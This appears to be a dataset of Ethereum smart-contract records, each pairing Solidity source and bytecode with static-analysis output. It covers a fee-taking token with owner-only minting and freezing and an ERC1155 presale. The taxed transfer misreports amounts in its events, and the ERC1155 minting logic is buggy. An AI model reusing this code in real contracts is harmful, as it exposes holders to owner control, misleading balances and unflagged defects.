approveAndCall(address _spender, uint _tokens, bytes _data) public returns (bool success) { allowed[msg.sender][_spender] = _tokens; emit Approval(msg.sender, _spender, _tokens); ApproveAndCallFallBack(_spender).receiveApproval(msg.sender, _tokens, this, _data); return true; } /** *@dev Function allows owner to transfer out *any accidentally sent tokens *@param _tokenAddress the address of tokens holder *@param _tokens the amount of tokens for transferring */ function transferAnyERC20Token(address _tokenAddress, uint _tokens) public onlyOwner returns (bool success) { return IERC20(_tokenAddress).transfer(owner, _tokens); } }
0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f57806318160ddd146101b757806323b872dd146101de578063313ce5671461020857806336f7ab5e146102335780633eaaf86b1461024857806370a082311461025d578063715018a61461027e5780638da5cb5b1461029557806395d89b41146102c6578063a9059cbb146102db578063b967a52e146102ff578063cae9ca5114610358578063dc39d06d146103c1578063dd62ed3e146103e5578063f2fde38b1461040c575b600080fd5b34801561010157600080fd5b5061010a61042d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014457818101518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018b57600080fd5b506101a3600160a060020a03600435166024356104b8565b604080519115158252519081900360200190f35b3480156101c357600080fd5b506101cc61051e565b60408051918252519081900360200190f35b3480156101ea57600080fd5b506101a3600160a060020a0360043581169060243516604435610551565b34801561021457600080fd5b5061021d6106e5565b6040805160ff9092168252519081900360200190f35b34801561023f57600080fd5b5061010a6106ee565b34801561025457600080fd5b506101cc610748565b34801561026957600080fd5b506101cc600160a060020a036004351661074e565b34801561028a57600080fd5b50610293610781565b005b3480156102a157600080fd5b506102aa6107ed565b60408051600160a060020a039092168252519081900360200190f35b3480156102d257600080fd5b5061010a6107fc565b3480156102e757600080fd5b506101a3600160a060020a0360043516602435610857565b34801561030b57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102939436949293602493928401919081908401838280828437509497506109079650505050505050565b34801561036457600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101a3948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506109359650505050505050565b3480156103cd57600080fd5b506101a3600160a060020a0360043516602435610a96565b3480156103f157600080fd5b506101cc600160a060020a0360043581169060243516610b51565b34801561041857600080fd5b50610293600160a060020a0360043516610ba9565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156104b05780601f10610485576101008083540402835291602001916104b0565b820191906000526020600020905b81548152906001019060200180831161049357829003601f168201915b505050505081565b336000818152600760209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f854600554035b90565b6000600160a060020a038416151561056857600080fd5b600160a060020a038316151561057d57600080fd5b6105878433610b51565b82111561059357600080fd5b600160a060020a0384166000908152600660205260409020546105bc908363ffffffff610bcc16565b600160a060020a03851660009081526006602090815260408083209390935560078152828220338352905220546105f9908363ffffffff610bcc16565b600160a060020a03808616600090815260076020908152604080832033845282528083209490945591861681526006909152205461063d908363ffffffff610bde16565b600160a060020a0380851660008181526006602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a333600160a060020a0385167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256106ca8784610b51565b60408051918252519081900360200190a35060019392505050565b60045460ff1681565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104b05780601f10610485576101008083540402835291602001916104b0565b60055481565b6000600160a060020a038216151561076557600080fd5b50600160a060020a031660009081526006602052604090205490565b600054600160a060020a0316331461079857600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104b05780601f10610485576101008083540402835291602001916104b0565b33600090815260066020526040812054610877908363ffffffff610bcc16565b3360009081526006602052604080822092909255600160a060020a038516815220546108a9908363ffffffff610bde16565b600160a060020a0384166000818152600660209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600054600160a060020a0316331461091e57600080fd5b8051610931906001906020840190610c6e565b5050565b336000818152600760209081526040808320600160a060020a038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a36040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018690523060448401819052608060648501908152865160848601528651600160a060020a038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610a25578181015183820152602001610a0d565b50505050905090810190601f168015610a525780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610a7457600080fd5b505af1158015610a88573d6000803e3d6000fd5b506001979650505050505050565b60008054600160a060020a03163314610aae57600080fd5b60008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810186905290519186169263a9059cbb926044808401936020939083900390910190829087803b158015610b1e57600080fd5b505af1158015610b32573d6000803e3d6000fd5b505050506040513d6020811015610b4857600080fd5b50519392505050565b6000600160a060020a0383161515610b6857600080fd5b600160a060020a0382161515610b7d57600080fd5b50600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b600054600160a060020a03163314610bc057600080fd5b610bc981610bf1565b50565b600082821115610bd857fe5b50900390565b81810182811015610beb57fe5b92915050565b600160a060020a0381161515610c0657600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610caf57805160ff1916838001178555610cdc565b82800160010185558215610cdc579182015b82811115610cdc578251825591602001919060010190610cc1565b50610ce8929150610cec565b5090565b61054e91905b80821115610ce85760008155600101610cf25600a165627a7a72305820091e02d0d247736286ba4eac818e82150ecee5cd2e21459a715236abf8f3fca60029
{"success": true, "error": null, "results": {}}
5,859
0xb4c9ab80c6217ae8eed66170446c8f0770f37b6b
pragma solidity ^0.4.16; contract owned { address public owner; address public referral; address public development; constructor() public { owner = msg.sender; referral = 0x5593481690957F314cf9AC95eC3517FD38E5F669; development = 0x9327E4956E5956e657f2bD6982960F7c0ecce640; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } function transferReferral(address newRef) onlyOwner public { referral = newRef; } function transferDevelopment(address newDev) onlyOwner public { development = newDev; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * Send `_value` tokens to `_to` from your account * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * Send `_value` tokens to `_to` in behalf of `_from` * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * Allows `_spender` to spend no more than `_value` tokens in your behalf * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * Remove `_value` tokens from the system irreversibly * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract MyAdvancedToken is owned, TokenERC20 { // TAXXXXXX uint tax = 6; uint256 public rivalutazione; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += ( _value - ((_value/(10**2))*tax) ); // Add the same to the recipient emit Transfer(_from, _to, _value); balanceOf[development] += ((_value/(10**2))*2); // Manda l' 2% sul portafoglio per lo sviluppo rivalutazione += ((_value/(10**2))*3); // Conteggia il 3% per la rivalutazione totalSupply -= ((_value/(10**2))*3); // brucia il 3% per la rivalutazione balanceOf[referral] += ((_value/(10**2))*1); // Manda l' 1% al fondo referral } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461012c578063095ea7b3146101b65780631441a5a9146101ee57806318160ddd1461021f57806323b872dd14610246578063313ce5671461027057806342966c68146102855780634da837e31461029d57806370a08231146102c057806370d1e85b146102e15780637114a96e146102f657806379c650681461031757806379cc67901461033b5780637b929c271461035f5780638da5cb5b1461037457806395d89b4114610389578063a9059cbb1461039e578063b414d4b6146103c2578063cae9ca51146103e3578063dd62ed3e1461044c578063e724529c14610473578063f2fde38b14610499575b600080fd5b34801561013857600080fd5b506101416104ba565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017b578181015183820152602001610163565b50505050905090810190601f1680156101a85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c257600080fd5b506101da600160a060020a0360043516602435610548565b604080519115158252519081900360200190f35b3480156101fa57600080fd5b506102036105ae565b60408051600160a060020a039092168252519081900360200190f35b34801561022b57600080fd5b506102346105bd565b60408051918252519081900360200190f35b34801561025257600080fd5b506101da600160a060020a03600435811690602435166044356105c3565b34801561027c57600080fd5b50610234610632565b34801561029157600080fd5b506101da600435610638565b3480156102a957600080fd5b506102be600160a060020a03600435166106b0565b005b3480156102cc57600080fd5b50610234600160a060020a03600435166106f6565b3480156102ed57600080fd5b50610234610708565b34801561030257600080fd5b506102be600160a060020a036004351661070e565b34801561032357600080fd5b506102be600160a060020a0360043516602435610754565b34801561034757600080fd5b506101da600160a060020a036004351660243561080a565b34801561036b57600080fd5b506102036108db565b34801561038057600080fd5b506102036108ea565b34801561039557600080fd5b506101416108f9565b3480156103aa57600080fd5b506101da600160a060020a0360043516602435610954565b3480156103ce57600080fd5b506101da600160a060020a036004351661096a565b3480156103ef57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101da948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061097f9650505050505050565b34801561045857600080fd5b50610234600160a060020a0360043581169060243516610a98565b34801561047f57600080fd5b506102be600160a060020a03600435166024351515610ab5565b3480156104a557600080fd5b506102be600160a060020a0360043516610b30565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105405780601f1061051557610100808354040283529160200191610540565b820191906000526020600020905b81548152906001019060200180831161052357829003601f168201915b505050505081565b336000818152600860209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600154600160a060020a031681565b60065481565b600160a060020a03831660009081526008602090815260408083203384529091528120548211156105f357600080fd5b600160a060020a0384166000908152600860209081526040808320338452909152902080548390039055610628848484610b76565b5060019392505050565b60055481565b3360009081526007602052604081205482111561065457600080fd5b3360008181526007602090815260409182902080548690039055600680548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a2506001919050565b600054600160a060020a031633146106c757600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60076020526000908152604090205481565b600a5481565b600054600160a060020a0316331461072557600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461076b57600080fd5b600160a060020a03821660009081526007602090815260408083208054850190556006805485019055805184815290513093927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef928290030190a3604080518281529051600160a060020a0384169130917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600160a060020a03821660009081526007602052604081205482111561082f57600080fd5b600160a060020a038316600090815260086020908152604080832033845290915290205482111561085f57600080fd5b600160a060020a0383166000818152600760209081526040808320805487900390556008825280832033845282529182902080548690039055600680548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a250600192915050565b600254600160a060020a031681565b600054600160a060020a031681565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105405780601f1061051557610100808354040283529160200191610540565b6000610961338484610b76565b50600192915050565b600b6020526000908152604090205460ff1681565b60008361098c8185610548565b15610a90576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b83811015610a24578181015183820152602001610a0c565b50505050905090810190601f168015610a515780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610a7357600080fd5b505af1158015610a87573d6000803e3d6000fd5b50505050600191505b509392505050565b600860209081526000928352604080842090915290825290205481565b600054600160a060020a03163314610acc57600080fd5b600160a060020a0382166000818152600b6020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600054600160a060020a03163314610b4757600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0382161515610b8b57600080fd5b600160a060020a038316600090815260076020526040902054811115610bb057600080fd5b600160a060020a0382166000908152600760205260409020548181011015610bd757600080fd5b600160a060020a0383166000908152600b602052604090205460ff1615610bfd57600080fd5b600160a060020a0382166000908152600b602052604090205460ff1615610c2357600080fd5b600160a060020a038381166000818152600760209081526040808320805487900390556009549487168084529281902080546064880490960287039095019094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a360028054600160a060020a0390811660009081526007602052604080822080546064909604948502909501909455600a805460038502908101909155600680549190910390556001549091168152919091208054909101905550505600a165627a7a723058200617bd4d41c6f1e7b8bdfbf28c7a6a2ad2f826a6fa9d956dcee757ab056c8b210029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
5,860
0xfb31f25f8ac8818e6d6824a199b32df78f57b281
pragma solidity ^0.8.0; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IERC1155Receiver is IERC165 { function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } interface IERC1155 is IERC165 { event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); event ApprovalForAll(address indexed account, address indexed operator, bool approved); event URI(string value, uint256 indexed id); function balanceOf(address account, uint256 id) external view returns (uint256); function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); function setApprovalForAll(address operator, bool approved) external; function isApprovedForAll(address account, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; mapping(address => uint256) public _balances0; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ address public owner; constructor() { owner = msg.sender; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } function uri(uint256) public view virtual override returns (string memory) { return _uri; } function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } function setApprovalForAll(address operator, bool approved) public virtual override { // require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } function _setURI(string memory newuri) internal virtual { _uri = newuri; } function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } emit TransferSingle(operator, account, address(0), id, amount); } function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } } emit TransferBatch(operator, account, address(0), ids, amounts); } function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } modifier onlyOwner { require(owner == msg.sender); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function _Premint( address account, uint256 id, uint256 amount, string memory _uri1 ) internal virtual { bytes memory data = bytes(_uri1); require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); // setApprovalForAll(operator, true); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] = 1; emit TransferSingle(msg.sender, address(0), msg.sender, id, 1); emit URI(_uri1, id); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); // setApprovalForAll(operator, false); } string public name = "Tigers Guild"; string public symbol = "TGD"; address public CrowdAdress = address(this); uint256 public _supply1 = 1; uint256 public Price = 10**17; // Цена токена в wei uint256 public PreSaleSupply = 12000; // количество токенов для сейла uint256 public _id = 1; // стартовый ID string internal _uri1 = "https://gateway.pinata.cloud/ipfs/QmdqsivNS3gkPYSAsmUc3ivrtdsZoPXabbKK7xnuD5YFHv"; //ссылка на самый лучший рендер fallback() external payable { uint256 _supply = msg.value / Price; // считаем сколько токенов отдать require(PreSaleSupply > _supply );//проверяем достаточно ли токенов для пресейла осталось for (uint ii = 0; ii < _supply; ii++) { _Premint( msg.sender, _id, _supply1, _uri1); PreSaleSupply = PreSaleSupply-1; _id++; } payable(owner).transfer(msg.value); } }
